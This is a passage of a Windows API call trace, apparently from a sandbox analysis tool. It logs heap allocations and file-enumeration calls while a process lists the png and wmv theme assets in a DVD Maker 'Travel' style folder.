BaseAddress=0xa08b90) returned 1 [0070.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f128 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e0d8 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f148 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e1e0 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f168 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e2e8 [0070.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0070.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f188 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e3f0 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f1a8 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e4f8 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f1c8 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e600 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f1e8 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e708 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f208 [0070.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e810 [0070.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f228 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f248 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1e918 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f268 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1ea20 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f288 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1eb28 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f2a8 [0070.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21498 [0070.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0070.399] GetLastError () returned 0x12 [0070.399] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0070.399] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 